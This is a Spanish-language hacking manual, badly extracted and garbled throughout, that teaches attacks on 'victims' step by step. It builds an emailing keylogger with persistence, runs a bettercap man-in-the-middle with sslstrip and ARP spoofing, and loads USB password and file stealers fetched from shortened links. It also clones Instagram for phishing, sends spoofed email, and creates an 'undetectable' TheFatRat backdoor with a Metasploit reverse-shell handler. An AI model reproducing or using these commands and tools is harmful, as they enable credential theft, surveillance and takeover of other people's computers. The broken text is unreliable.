Í n d i c e g e n e r a l

Í n d i c e g e n e r a l
I n t r o d u c c i ó n .................................................................................7
C o m o o c u l t a r l a IP.......................................................................9
¿ P o r q u é o c u l t a r n u e s t r a

I P ? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
 F u e r z a b r u t a c o n

S o c i a l B o x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 9
 E l m e j o r c o m p l e m e n t o

p a r a
T é c n i c a s H a c k i n g m á s u t i l i z a d a s

A n t e s d e e m p e z a r a des arrollar c a d a u n o d e los p u n t o s q u i e r o d e c i r o s

q u e n o m e h a r é c a r g o d e l m a l u s o q u e s e le d é a esta i n f o r m a c i ó n y a q u e
s o l o e s c o n fines e d u c a t i v o s .
C o m o p o d r é i s v e r e n el í n d i c e la m a y o r í a d e los a t a q u e s s o n d e
i n g e n i e r í a social, e s t o s e d e b e a q u e e s m á s fácil h a c k e a r a u n a
p e r s o n a p o r s u s e m o c i o n e s , p e n s a m i e n t o s o d e s e o s .

I n t r o d u c c i ó n
B u e n o , si estáis l e y e n d o este m a n u a l e s p o r q u e q u e r é i s a p r e n d e r a
h a c k e a r p e r o si o s p r e g u n t o q u e e s el h a c k i n g ¿ m e lo sabríais
r e s p o n d e r ?
E l H a c k i n g e s la b ú s q u e d a y e x p l o t a c i ó n d e v u l n e r a b i l i d a d e s d e
s e g u r i d a d e n s i s t e m a s o redes.
P r i n c i p a l e s s i s t e m a s s o b r e los q u e s e p u e d e realizar h a c k i n g :

• S e r v i d o r e s
• O r d e n a d o r e s
• A p p s M ó v i l e s
• A p l i c a c i o n e s W e b
A v i s o
Y o t o d o e s t o lo h a g o c o m o r o o t .
S i tenéis la ú l t i m a a c t u a l i z a c i ó n d e K a l i L i n u x instalada p a r a a c c e d e r
c o m o r o o t p o n é i s :
s u d o s u
o s p e d i r á la c o n t r a s e ñ a d e l usuario, la p o n é i s y ya.

7
 T é c n i c a s H a c k i n g m á s u t i l i z a d a s

C o m o o c u l t a r la I P
L o m á s i m p o r t a n t e a n t e s d e realizar c u a l q u i e r a t a q u e e s c o n s e g u i r
n u e s t r o a n o n i m a t o e n la red.
H a y d o s tipos d e IP’s:

1. I P P ú b l i c a : L a I P p ú b l i c a e s la identificación d e n u e s t r a r e d

d e s d e
 J o t t a

• P a r a a c c e d e r a c o n t e n i d o
N o s p o d e m o s d a r c u e n t a
p o d e m o s v e r el c o n t e n i d o
país. O c u l t a n d o n u e s t r a I
eludir este o b s t á c u l o p o d r e
g e o g r á f i c a m e n t e r e s t r i n g i d o .
q u e e n a l g u n a s p á g i n a s w e b n o
y a q u e está restringido e n n u e s t r o
P y e l i g i e n d o u n a q u e n o s p e r m i t a
m o s saltar e s a barrera.

• P a r a e v i t a r t e n e r y d e j a r u n a h u e l l a digital.
U n a h u e l l a digital e s la r e c o p i l a c i ó n d e n u e s t r o s d a t o s a m e d i d a
q u e r e a l i z a m o s c u a l q u i e r tipo d e a c t i v i d a d e n Internet. P u e d e
ser p a s i v a o activa, c o n s i s t i e n d o esta ú l t i m a e n tu a p o r t a c i ó n
v o l u n t a r i a d e i n f o r m a c i ó n e n w e b s o r e d e s sociales. O c u l t a r
n u e s t r a I P evita p r i n c i p a l m e n t e la h u e l l a digital pasiva,
h a c i e n d o p r á c t i c a m e n t e i m p o s i b l e la r e c o p i l a c i ó n d e datos.

M é t o d o s q u e s e p u e d e n u s a r p a r a o c u l t a r n u e s t r a I P
1. W i f i p ú b l i c a

U t i l i z a r
T é c n i c a s H a c k i n g m á s u t i l i z a d a s

3. U n a V P N
D e s d e m i p u n t o d e vista esta e s la m e j o r f o r m a y la q u e
r e c o m i e n d o a la h o r a d e ocu ltar n u e s t r a I P p a r a el h a c k i n g .
S i lo q u e q u i e r e s e s u n a m a n e r a eficaz, fiable y sencilla d e
ocultar n u e s t r a d i r e c c i ó n IP, u n servicio V P N e s la m e j o r
o p c i ó n .
L a V P N n o s p e r m i t e c a m b i a r d e r e g i ó n y así c a m b i a r n u e s t r a I P
p u d i e n d o elegir c u a l q u i e r parte d e l m u n d o . E l ú n i c o p r o b l e m a
p o r así decirlo e s q u e , a u n q u e h a y gratis, lo m e j o r e s u s a r u n o
d e p a g o ( A u n q u e s i e m p r e p o d é i s u s a r u n o c r a c k e a d o ;))
N o o s v o y a e n s e ñ a r a c o m o d e s c a r g a r y c a m b i a r la I P c o n u n
V P N p o r q u e h a y c i e n t o s e n el m e r c a d o y e s u n a tarea b a s t a n t e
sencilla. S o l o tenéis q u e instalarlo y al m e n o s e n los q u e y o h e
u s a d o s o l o tenéis q u e c a m b i a r v u e s t r o p a í s d e o r i g e n d e s d e el
p a n e l d e l V P N y y a
P a r a c o m p r o b a r q u e r e a l m e n t e s e h a c a m b i a d o v u e s t r a I P
b u s c á i s e n g o o g l e “ C u a l e s m i I P ” sin c o m i l l a s y o s saldrá.
O s r e c o m i e n d o q u e h a g á i s e s t o a n t e s y d e s p u é s d e c a m b i a r la
I P c o n el V P N p a r a q u e p o d á i s c o n f i r m a r q u e s e h a m o d i f i c a d o .

1 1
T é c n i c a s H a c k i n g m á s u t i l i z a d a s

K e y l o g g e r
U n K e y l o g g e r e s u n S o f t w a r e q u e s e e n c a r g a d e registrar las
p u l s a c i o n e s q u e s e r ealizan e n el t e c l a d o p a r a d e s p u é s g u a r d a r l a s e n u n
a r c h i v o o m a n d a r l a s a través d e internet.
E n este c a s o v a m o s a h a c e r u n o q u e t o d a la i n f o r m a c i ó n n o s la e n v í e
p o r correo.
H a y m u c h í s i m a s f o r m a s d e crear u n o y a s e a e n K a l i L i n u x o e n
W i n d o w s y m u c h í s i m o s p r o g r a m a s q u e te d e j a n g e n e r a r u n o .
E n este m a n u a l v a m o s a intentar u s a r K a l i L i n u x lo m á x i m o p o s i b l e p o r
e s o lo v a m o s a g e n e r a r c o n u n a h e r r a m i e n t a d e s d e K a l i L i n u x .
L o p r i m e r o q u e t e n e m o s q u e h a c e r e s abrir u n a t e r m i n a l y p o n e r le
si g u i e n t e c o m a n d o :
s u d o a p t install m a v e n d e f a u l t - j d k d e f a u l t - j r e - y
E s t o n o s instalar á el J D K .
D e s p u é s p o n e m o s e n la t e r m i n a l el siguiente c o m a n d o q u e n o s instalará
u n a h e r r a m i e n t a q u e n o s a y u d a r á a crear u n .exe:
s u d o a p t install z l i b 1 g - d e v l i b n c u r s e s 5 - d e v l i b 3 2 z 1 l i b n c u r s e s 5 - y
* s u d o s e utiliza p a r a ejecutar p r o g r a m a s c o n privilegios d e s e g u r i d a d

L a h e r r a m i e n t a q u e v a m o s a u s a r s e l l a m a s A I N T .
L a f o r m a d e d e s c a r g a r la h e r r a m i e n t a e s m u y sencilla, c o m o s e
e n c u e n t r a e n G i t H u b s o l o t e n e m o s q u e clonarl a, p a r a e s o p o n e m o s e n la
i n a l el s i g u ie n t e c o m a n d o :
t e r m
git c l o n e h t t p s : / / g i t h u b . c o m / t i a g o r l a m p e r t / s A I N T . g i t
A h o r a a c c e d e m o s a la c a r p e t a s A I N T p o n i e n d o e n la terminal:
c d s A I N T /
U n a v e z d e n t r o d e s A I N T p o n e m o s e n la t e r minal:
c h m o d + x c o n f i g u r e . s h
* c h m o d p e r m i t e c a m b i a r los p e r m i s o s d e a c c e s o d e u n f i c h e r o o u n directorio.

1 3
 J o t t a

A h o r a lo e j e c u t a m o s p o n i e n d o :
. / c o n f i g u e r e . s h
C u a n d o a c a b e y a t e n d r e m o s el p r o g r a m a i n s t a l a d o y c o n f i g u r a d o , a h o r a
s o l o t e n d r e m o s q u e ejecutarlo.
P a r a ejecutar el p r o g r a m a p o n e m o s e n la t e r minal:

j a v a -jar s A I N T . j a r
y a h o r a e m p e z a m o s c o n la c o n f i g u r a c i ó n d e l a t a q u e .
L o p r i m e r o q u e t e n e m o s q u e p o n e r e s el e m a i l d o n d e r e c i b i r e m o s t o d o s
los d a t o s r e c o g i d o s p o r el k e y l o g g e r , d e s p u é s la c o n t r a s e ñ a d e l e m a i l .
M i r e c o m e n d a c i ó n e s q u e o s creéis u n o a parte p a r a eso.
D e s p u é s o s h a r á u n a s p r e g u n t a s q u e y a iréis r e s p o n d i e n d o s e g ú n los
d a t o s q u e q u e r á i s recibir (screenshot, e n c e n d e r c a m , etc...) y m u y
i m p o r t a n t e activar la o p c i ó n d e “ E n a b l e P e r s i s t e n c e ” y “ K e e p d a t a o n
t h e c o m p u t e r ” .

D e s p u é s tenéis q u e p o n e r p o r c a d a c u a n t o s caracteres q u e r é i s q u e o s
e n v i é el correo. M i r e c o m e n d a c i ó n e s p o n e r u n o s 2 0 0 0 o así p o r q u e si
n o s e o s v a a llenar el e m a i l d e c o r r e o s

1 4
T é c n i c a s H a c k i n g m á s u t i l i z a d a s

E s p e r a m o s a q u e s e g e n e r e el f i c h e r o . E X E y la h e r r a m i e n t a n o s
p r o p o r c i o n a u n link m u y i m p o r t a n t e , lo q u e t e n e m o s q u e h a c e r e s ir a
e s e link q u e e s la c o n f i g u r a c i ó n d e s e g u r i d a d d e la c u e n t a d e c o r r e o q u e
h e m o s p u e s to .
V a m o s a s e g u r i d a d y b u s c a m o s “ A c c e s o d e a p l i c a c i o n e s p o c o
s e g u r a s ” . L e d a m o s y la c t i v a m o s ” .
a

E s p e r a m o s a q u e s e g e n e r e el f i c h e r o . E X E y p o r si a c a s o n o h a b é i s
h e c h o el p a s o d e activar lo d e “ A c c e s o d e a p l i c a c i o n e s p o c o s e g u r a s ” el
p r o g r a m a n o s g e n e r a r á u n link igual q u e el q u e y o h e p u e s t o arriba p a r a
q u e lo a c t i v e m o s .
U n a v e z h e c h o t o d o esto v a m o s a p o r el a r c h i v o q u e le t e n e m o s q u e
p a s a r a la v í c t i m a .
P a r a llegar h a s t a él t e n e m o s q u e ir a la c a r p e t a s A I N T y a la s u b c a r p e t a
targe t.

C o m o y o y a e s t o y e n la c a r p e t a s A I N T s o l o tendría q u e p o n e r lo
siguiente:
c d tarjet
ls
D e n t r o d e esta c a r p e t a e n c o n t r a m o s d o s a r c h i v o s .
1. U n . e x e
2. U n .jar
P o d e m o s u s a r el q u e q u e r a m o s .
A h o r a t e n e m o s q u e ir al o r d e n a d o r d e la v í c t i m a y la v i c t i m a s o l o
t e n d r á q u e ejecutar el a r c h i v o .
N o t a : E l virus v a p e l a d o , e s decir, n o lleva e n c o d e s y n o v a c a m u f l a d o p o r l o q u e el
antivirus lo detectar á c o m o virus. S i q u e r é i s a p r e n d e r a c a m u f l a r v i r u s e n u n p r o g r a m a
lo tenéis e n m i m a n u a l M e t a s p l o i t .
S i q u e r é i s c a m u f l a r l o e n u n a i m a g e n tenéis c o m o h a c e r l o e n l o s s i g u i e n t e s p u n t o s .

1 5
 J o t t a

L a v i c t i m a lo e j ec u t a r á y el k e y l o g g e r y a estará e n e j e c u c i ó n .

A h o r a o s v o y a m o s t r a r los c o r r e o s q u e n o s l l e g a n g r a c i a s a esta
h e r r a m i e n t a .

E s t e e s u n c o r r e o d e e j e m p l o . E l c u e r p o d e l t e x t o e s t o d o lo q u e s e h a
escrito y las c a p t u r a s s o n :

1 .
 T é c n i c a s H a c k i n g m á s u t i l i z a d a s

M a n i n t h e M i d d l e ( M I T M )
E l c o n c e p t o d e u n a t a q u e M I T M
e s m u y sencillo. E s t e m é t o d o s ó l o
n e c e s i t a q u e el a t a c a n t e s e sitúe
entre las d o s p ar t e s q u e i n t e n t a n
c o m u n i c a r s e ; i n t e r c e p t a n d o los
m e n s a j e s e n v i a d o s e i m i t a n d o al
m e n o s u n a d e ellas. E n otras
palabras, e n u n a t a q u e M I T M el
h a c k e r s e situa entre la/s v i c t i m a / s y el router así c a d a p e t i c i ó n q u e h a g a
la v i c t i m a al router y la r e s p u e s t a d e este p a s a n p o r el atacante. P a r a
este a t a q u e v a m o s a u s a r la h e r r a m i e n t a B e t t e r c a p .

E s t o s c o m a n d o s s o n s o l o p a r a p e r s o n a s q u e y a t i e n e n b e t t e r c a p .
L o q u e v a m o s a h a c e r e s desinstalarlo e instalarlo d e n u e v o p a r a ello
p r i m e r o v a m o s a la c a r p e t a d o n d e t e n e m o s b e t t e r c a p y p o n e m o s lo
siguiente:
r m -r b e t t e r c a p /
D e s p u é s p o n e m o s :
r m / u s r / l o c a l / b i n / b e t t e r c a p
U n a v e z h e c h o e s t o p r o c e d e m o s a instalarlo. L o s c o m a n d o s a s e g u i r
s o n :
1. a p t - g e t instal l l i b p c a p - d e v
2. a p t - g e t instal l l i b n e t f i l t e r - q u e u e - d e v

3 .
 J o t t a

S i o s d a u n error s o l o tenéis q u e cerrar la t e r m i n a l y v o l v e r a abrirla.

L l e g a d o s a este p u n t o t e n e m o s q u e s a b e r q u e interfaz d e internet

u s a m o s p a r a ello p o n e m o s e n la t e r m i n a l :
i f c o n f i g

E n m i c a s o la interfaz q u e utilizo e s eth0, p u e d e ser eth1, … , e t h N … s i

estáis p o r w i f i o s saldrá w l a n 0 , … , w l a n

1 8
T é c n i c a s H a c k i n g m á s u t i l i z a d a s

B u e n o , u n a v e z c o m p r o b a d o t o d o e s t o v a m o s a e m p e z a r .
P a r a ejecutar el p r o g r a m a p o n e m o s :
b e t t e r c a p -iface e t h 0

( S i e n d o e t h 0 n u e s t r a interfaz q u e h e m o s c o n s u l t a d o a n t e s )
U n a v e z h e c h o e s t o p o n e m o s “ h e l p ” sin c o m i l l a s p a r a v e r los m ó d u l o s
q u e t e n e m o s a c t i v a d o s .

A h o r a t e n e m o s q u e p o n e r los siguientes c o m a n d o s p a r a realizar la

correcta c o n f i g u r a c i ó n :
1. n e t . r e c o n o n
2. net.sniff o n

1 9
 J o t t a

A h o r a la h e r r a m i e n t a y a e m p i e z a a e s c a n e a r la r e d t a n t o p a q u e t e s h t t p
c o m o h t t p s .

A q u í e n otra m á q u i n a h e i d o a Y a h o o y c o m o v e m o s sale registrado, si

v o y a c u a l q u i e r otra p á g i n a sería igual. A h o r a t e n e m o s q u e p o n e r :

set h t t p s . p r o x y . s s l s t r i p t r u e
h t t p s . p r o x y o n
T a l y c o m o t e n e m o s b e t t e r c a p c o n f i g u r a d o a h o r a m i s m o c a p t u r a m o s
p a q u e t e s http, https y c o n t r a s e ñ a s e n p á g i n a s http.
T e p r e g u n t a r á s ¿ P o r q u é n o c a p t u r a m o s t a m b i é n c o n t r a s e ñ a s d e
las p á g i n a s h t t p s ?
P u e d e s c o m p r o b a r l o tú m i s m o p o n i e n d o los s i g u i e n t e s c o m a n d o s :

set a r p . s p o o f . t a r g e t s 1 9 2 . 1 6 8 . 1 . 1 1 2
( I P d e u n a m á q u i n a la c u a l q u e r e m o s s e g u i r s u flujo d e n a v e g a c i ó n )

a r p . s p o o f o n
U n a v e z h e c h o eso, si vais a c u a l q u i e r p á g i n a w e b el n a v e g a d o r o s
b l o q u e a r á la b ú s q u e d a p o r n o ser s e g u r a .
¿ Q u é s e p u e d e h a c e r ?
A ú n h a y m u c h a s p á g i n a s q u e utilizan h t t p , s e p u e d e e s p e r a r a q u e las
v i c t i m a s inicien s e s i ó n e n u n a d e ellas y c o p i a r las c r e d e n c i a l e s ( E l 9 0 %
d e las p e r s o n a s utilizan la m i s m a c o n t r a s e ñ a p a r a todo).
P o d é i s r edirigir a las v í c t i m a s a v u e s t r o s e r v i d o r d n s y así c u a n d o p o r
e j e m p l o b u s q u e n f a c e b o o k . c o m le redirija a n u e s t r a w e b falsa.

2 0
T é c n i c a s H a c k i n g m á s u t i l i z a d a s

U S B p a r a r o b a r c o n t r a s e ñ a s
H a y u n U S B l l a m a d o R u b b e r D u c k y .
D e e s e U S B s o l o p u e d o d e c i r q u e e s u n a maravilla, instala b a c k d o o r s ,
r o a c o n t r a s e ñ a s , e x t r a e d o c u m e n t o s , etc. s i m p l e m e n t e c o n c o n e c t a r l o .
E s t e U S B a c t u a l m e n t e está a g o t a d o , p e r o o s e n s e ñ a r é c o m o p o d e m o s
h a c e r u n o q u e r o b e c o n t r a s e ñ a s .
O s v o y a dejar los e n l a c e s a d o s h e r r a m i e n t a s , u n a será s o l o p a r a r o b a r
las c o n t r a s e ñ a s d e los b u s c a d o r e s y la otra r o b a t a m b i é n a r c h i v o s ,
c l a v e s d e p r o d u c t o , etc.
¿ P o r q u é o s d e j o las d o s ? P o r q u e a q u í lo q u e m á s s e v a l o r a e s la
rapidez, n o e s lo m i s m o ejecutar u n a r c h i v o q u e s o l o r o b a c o n t r a s e ñ a s a
u n o q u e s e e n c a r g a d e c o p i a r t o d o s los a r c h i v os.

E x t r a e r c o n t r a s e ñ a s :
E s t e p r o g r a m a e s instantáneo, le d a m o s y y a c o n s i g u e las c o n t r a s e ñ a s
d e los b u s c a d o r e s .
L o p r i m e r o q u e t e n e m o s q u e h a c e r e s d e s c a r g a r el rar q u e o s d e j o e n
este e n l a c e :
h t t p s : / / b i t . l y / 3 d 8 W q 1 j
O s d e s c a r g á i s el f i c h e r o .rar

E s t e lo m e t é i s e n v u e s t r o U S B y lo d e s c o m p r i m í s

2 1
 J o t t a

E s t e rar está c o m p u e s t o p o r 4 a r c h i v o s .
1. L a c a r p e t a d o n d e s e a l m a c e n a n las c o n t r a s e ñ a s

2. U n p e q u e ñ o script q u e c a r g a el p r o g r a m a q u e r o b a las

c o n t r a s e ñ a s
T é c n i c a s H a c k i n g m á s u t i l i z a d a s

E x t r a e r t o d o :
E s t e y a s u e l e tardar u n o s 3 0 s e g u n d o s o así d e p e n d i e n d o d e la c a n t i d a d
d e a r c h i v o s q u e s e g u a r d e n .
L o q u e t e n e m o s q u e h a c e r e s d e s c a r g a r .rar q u e h a y e n la siguiente
dirección:
h t t p s : / / b i t . l y / 3 3 t D M w z
Y s e n o s d e s c a r g a r á el s i g u i e n t e a r c h i v o

A h o r a lo d e s c o m p r i m i m o s y s e n o s c r e a n 2 c a r p e t a s y u n ejecutable.

E j e c u t a m o s el “ R o b a r d a t o s 7 u 7 . e x e ” , s e n o s c r e a r á n u n o s v a r i o s
a r c h i v o s y s e n o s llenará u n a c a r p e t a d e fotos, archivos, etc. y la otra
c o n las c o n t r a s e ñ a s c o n s e g u i d a s .
E s t e c o m o o s d i g o e s m á s lento q u e el d e l p u n t o anterior. S i s o l o
q u e r é i s r o b a r c o n t r a s e ñ a s o s r e c o m i e n d o el anterior, p e r o , si lo q u e r é i s
t o d o p o d é i s u s a r este s a b i e n d o q u e t a r d a m á s .

2 3
T é c n i c a s H a c k i n g m á s u t i l i z a d a s

P h i s h i n g
E l P h i s h i n g e s u n m é t o d o q u e s e u tiliza p a r a e n g a ñ a r a l as v í c t i m a s y
c o n s e g u i r q u e r e v e l e n i n f o r m a c i ó n p e r s o n a l , c o m o c o n t r a s e ñ a s o d a t o s
d e tarjetas d e crédito y d e la s e g u r i d a d socia l y n ú m e r o s d e c u e n t a s
bancarias. E s t o s e p u e d e h a c e r m e d i a n t e el e n v í o d e c o r r e o s
e l e c t r ó n i c o s falsos, S M S fa lsos o d i r i g i e n d o a la v í c t i m a a u n a w e b
falsa.
A q u í o s v o y a e n s e ñ a r t o d a s estas f o r m a s .

P á g i n a w e b f r a u d u l e n t a

C l o n a c i ó n d e u n a p á g i n a w e b
git c l o n e h t t p s : / / g i t h u b . c o m / D a r k S e c D e v e l o p e r s / H i d d e n E y e . g i t
c d H i d d e n E y e /
c h m o d + x H i d d e n E y e . p y
. / H i d d e n E y e . p y

N o s p e d i r á q u e a c e p t e m o s u n a serie d e i n s t a l a c i o n e s , p a r a
a c e p t a r l a s p o n e m o s e n t e r o “ y ” sin c o m i l l a s , d e p e n d i e n d o d e lo q u e
n o s p i d a q u e p o n g a m o s .

2 5
 J o t t a

U n a v e z t o d o a c e p t a d o e i n s t a l a d o n o s a p a r e c e r á esta interfaz.

E l e g i m o s la p á g i n a q u e q u e r e m o s c l o n a r p a r a h a c e r le p h i s h i n g , e n
este c a s o u s a r é I n s t a g r a m .
P a r a ello e l e g i m o s la o p c i ó n 8.

A h o r a n o s sale otras o p c i o n e s p a r a h a c e r elegir c o m o h a c e r el p h i s h i n g

d e la p á g i n a , y o v o y a elegir la p r i m e r a q u e e s c l o n a r la p á g i n a estándar.

2 6
 T é c n i c a s H a c k i n g m á s u t i l i z a d a s

N o s p r e g u n t a r á si q u e r e m o s a ñ a d i r u n K e y l o g g e r a la p á g i n a , le
d e c i m o s q u e si p o n i e n d o “ y ” sin las c o m i l l a s , m i r e c o m e n d a c i ó n e s q u e
n o lo activéis p o r q u e s e o s llenará la c o n s o l a d e m i e r d a .

A q u í n o s p r e g u n t a r á si q u e r e m o s a ñ a d i r l e s e g u r i d a d d e cloudfare. L e
d e c i m o s q u e si p o n i e n d o “ Y ” sin c o m i l l a s
A h o r a n o s p r e g u n t a r á si q u e r e m o s q u e n o s e n v í e los d a t o s p o r e m a i l ,
y o

l e
 J o t t a

T a m b i é n n o s p e d i r á q u e p o n g a m o s u n p u e r t o p a r a recibir los datos.

A h o r a n o s p e d i r á q u e e l i j a m o s u n servidor, y o lo v o y a h a c e r e n local,
v o s o t r o s p o d é i s u s a r c u a l q u i e r a d e los otros, y o o s r e c o m e n d a r í a N g r o k .

P o r ú l t i m o , n o s g e n e r a
red. Y o o s r e c o m e n d a r
h a c e r l o f u e r a d e r e d la
Y o h e p r o b a d o el d e
resultado.
r á d o s U R L s u n a p a r a L o c a l y otra p a r a f u e r a d e
í a u n a p e r s o n a l i z a d a , a u n q u e d e s p u é s si q u e r é i s
c a m u f l é i s e n u n D N S
f u e r a d e r e d local ( N G R O K U R L ) y este e s el

2 8
 T é c n i c a s H a c k i n g m á s u t i l i z a d a s

Y c o m o h e m o s a c t i v a d o la o p c i ó n d e q u e c u a n d o r e c i b a las c r e d e n c i a l e s
n o s lo m a n d e p o r c o r r e o t a m b i é n m e h a l l e g a d o u n c o r r e o c o n el
u s u a r i o y la c o n t r a s e ñ a .

P lantilla d e p á g i n a f r a u d u l e n t a
E s t o m i s m o s e p u e d e h a c e r c o n u n a p á g i n a d e a l g ú n c u p ó n d e
d e s c u e n t o o c u a l q u i e r oferta p a r a e n g a ñ a r a la v í c t i m a .
P a r a e s t o lo q u e s e tendría q u e h a c e r sería:

1. T e n e r u n a p á g i n a g a n c h o c o n u n b o t ó n p a r a iniciar s e s i ó n c o n

a l g u n a
 J o t t a

F a k e E m a i l
E n este p u n t o o s v o y a e n s e ñ a r c o m o e n v i a r c o r r e o s d e s d e c u a l q u i e r
r e m i t e n t e p a r a

e l l o
T é c n i c a s H a c k i n g m á s u t i l i z a d a s

A h o r a p o n e m o s el c o r r e o d e la v í c t i m a , el a s u n t o , el m e n s a j e y el c o r r e o
q u e q u e r e m o s suplantar.
3 1
 J o t t a

L o g u a r d a m o s , le d a m o s click d e r e c h o al f i c h e r o y V i e w .

C o m o p o d e m o s v e r s e h a e n v i a d o el c o r r e o c o n éxito.
V a m o s al c o r r e o a c o m p r o b a r q u e t o d o s e h a y a r e a l i z a d o c o r r e c t a m e n t e .

Y c o m o p o d e m o s v e r a q u í e s t á el c o r r e o q u e h e m o s e n v i a d o , y a
v o s o t r o s p o d é i s a d a p t a r l o c o m o q u e r á i s . Y o c u a n d o u s a b a e s t a
t é c n i c a l o m o d i f i q u é p a r a p o d e r e n v i a r a r c h i v o s , le h i c e u n a w e b y
u n a a p p p a r a p o d e r l o s e n v i a r d e s d e el m ó v i l .

3 2
T é c n i c a s H a c k i n g m á s u t i l i z a d a s

B a c k d o o r W i n d o w s
E s t o s a t a q u e s los v a m o s a h a c e r d e n t r o d e n u e s t r a r e d si q u i e r e s
a p r e n d e r a h a c e r l o f u e r a d e r e d s o l o t i e n e s q u e s e g u i r las
i n s t r u c c i o n e s d e l p u n t o “ A t a q u e s F u e r a d e la R e d ”
R e c o r d a d q u e t o d o e s t o lo e s t a m o s h a c i e n d o c o m o s ú p e r u s u a r i o :
s u d o s u

C o m o c r e a r u n B a c k d o o r i n d e t e c t a b l e
P a r a crea r u n b a c k d o o r i n d e t e c t a b l e v a m o s a u s a r la h e r r a m i e n t a
T h e F a t R a t .
L a d e s c a r g a e s sencilla p e r o p r i m e r o t e n e m o s q u e a ñ a d i r el repositorio
necesario. P a r a ello v a m o s a la t e r m i n a l y p o n e m o s lo siguiente:
n a n o /etc/apt/sources.list
S e n o s a b r i r á u n f i c h e r o y t e n e m o s q u e p o n e r el siguiente repositorio:
d e b http://old.kali.org/kali s a n a m a i n n o n - f r e e c o n t r i b

3 3
 J o t t a

U n a v e z h e c h o e s o g u a r d a m o s y a c t u a l i z a m o s
a p t - g e t u p d a t e

A h o r a v a m o s a instalar la h e r r a m i e n t a . P a r a ello p o n e m o s e n la
te r m i n a l :
git c l o n e h t t p s : / / g i t h u b . c o m / S c r e e t s e c / T h e F a t R a t . g i t
S e n o s d e s c a r g a r á la c a r p e t a y a c c e d e m o s a ella p o n i e n d o :
c d T h e F a t R a t
A h o r a t e n e m o s q u e d a r p e r m i s o s a los f i c h e r o s fatrat y p o w e r f u l l . s h
c h m o d + x f a t r a t
c h m o d + x p o w e r f u l l . s h

A h o r a i n s t a l a m o s m i n g w 3 2 . P a r a ello p o n e m o s :
a p t - g e t install m i n g w 3 2
U n a v e z h e c h o e s t o s o l o n o s q u e d a instalar la h e r r a m i e n t a , p a r a instalar
T h e F a t R a t t e n e m o s q u e ejecutar el a r c h i v o setup.sh:

./setup.sh
S e n o s instalará y y a p o d e m o s ejecutar la h e r r a m i e n t a :

./fatrat
L a h e r r a m i e n t a n o s d a r á u n a s r e c o m e n d a c i o n e s , s o l o t e n e m o s q u e
p r e s i o n a r E n t e r y n o s llevará al m e n ú .
S i q u e r e m o s h a c e r u n b a c k d o o r i n d e t e c t a b l e e l e g i m o s la o p c i ó n 2

“ C r e a t e F u d 1 0 0 % B a c k d o o r w i t h F u d w i n 1 . 0 ”

3 4
T é c n i c a s H a c k i n g m á s u t i l i z a d a s

U n a v e z e l e g i d a la o p c i ó n d o s n o s saldrá o t r o m e n ú d o n d e t e n e m o s q u e
elegir la p r i m e r a o p c i ó n .

3 5
 J o t t a

A h o r a n o s p e d i r á n u e s t r a I P y u n puert o, c o m o est á d e n t r o d e r e d
p o n e m o s la I P local, el p u e r t o q u e q u e r a m o s , el n o m b r e d e l a r c h i v o c o n
la e x t e n s i ó n , el tipo d e arquitectura d o n d e s e v a a in stal ar y u n i c o n o . S i
e s t u v i é r a m o s h a c i é n d o l o f u e r a d e L A N t e n d r í a m o s q u e p o n e r la I P real
o D N S y el p u e r t o q u e h e m o s c o n f i g u r a d o e n el rout er.

3 6
T é c n i c a s H a c k i n g m á s u t i l i z a d a s

U n a v e z h e c h o t o d o e s t o le d a m o s a E n t e r y n o s p r e g u n t a r á si
q u e r e m o s crear u n listener*.
E n este c a s o le v a m o s a d e c i r q u e n o .

A h o r a p a r a c o m p r o b a r v e r q u e e s v e r d a d q u e e s i n d e t e c t a b l e v a m o s a
e s c a n e a r el b a c k d o o r p a r a v e r q u e antivirus lo detectan. E s t o e s m u y
i m p o r t a n t e h a c e r l o bien.
P a r a s a b e r c ó m o h a c e r e s t o ir al p u n t o “ C ó m o s a b e r q u e a n t i v i r u s
d e t e c t a n m i s v i r u s ” .

3 7
 J o t t a

C o m o p o d e m o s v e r h a y a l g u n o s antivirus q u e lo detectan, p e r o p o r
e j e m p l o A v a s t q u e e s d e los m á s u s a d o s n o lo detecta.
A h o r a lo q u e t e n e m o s q u e h a c e r e s c o n f i g u r a r el e n t o r n o p a r a estar a la
e s c u c h a d e q u e la v í c t i m a e j e c u t e el b a c k d o o r . P a r a ello p o n e m o s :

m s f c o n s o l e
u s e e x p l o i t / m u l t i / h a n d l e r

set P A Y L O A D w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p
( x 6 4 o x 3 2 s e g ú n la a r q u i t e c t u r a q u e h a y a m o s u s a d o )

set L H O S T 1 9 2 . 1 6 8 . 1 . 6 2
( N u e s t r a I P )

set L P O R T 4 5 4 5
( El p u e r t o q u e h e m o s utilizado p a r a c r e a r el B a c k d o o r )

e x p l o i t

U n a v e z l a n z a d o el e x p l o i t y a estará a la e s c u c h a h a s t a q u e la v í c t i m a
e j e c u t e el b a c k d o o r .

A h o r a v a m o s a p a s a r l o a la v í c t i m a y a ejecutarlo.
Y o m e lo h e p a s a d o p o r u n P e n d r i v e y n o m e h a s a l t a d o
n i n g u n a a l a r m a d e q u e e s u n virus.

3 8
T é c n i c a s H a c k i n g m á s u t i l i z a d a s

L o e j e c u t a m o s y c o m p r o b a m o s q u e e n la c o n s o l a d e M e t a s p l o i t s e h a
i n i c i a d o u n a s e s i ó n a h o r a y a e s t a m o s c o n e c t a d o s a la m á q u i n a d e la
v í c t i m a y y a s o l o h a y q u e dejar v o l a r a n u e s t r a i m a g i n a c i ó n y h a c e r lo
q u e q u e r a m o s .

* S i q u i e r e s s a b e r q u e e s u n listener y c o m o crearlos p u e d e s m i r a r l o
e n m i m a n u a l M e t a s p l o i t d i s p o n i b l e e n A m a z o n y G o o g l e P l a y .

3 9
 J o t t a

C o m o n a v e g a r p o r el e q u i p o i n f e c t a d o
P a r a n a v e g a r p o r el e q u i p o d e la v í c t i m a u n a v e z q u e está i n f e c t a d o e s
t a n s i m p l e c o m o p o n e r e n la t e r m i n a l shell.
D e s p u é s y a p o d e m o s n a v e g a r d e f o r m a n o r m a l c o m o si e s t u v i é r a m o s
d e s d e s u c m d .

4 0
T é c n i c a s H a c k i n g m á s u t i l i z a d a s

C o m o a c t i v a r la w e b c a m d e la v i c t i m a
A c t i v a r la W e b c a m d e la v í c t i m a e s sencillo, e n la c o n s o l a d e
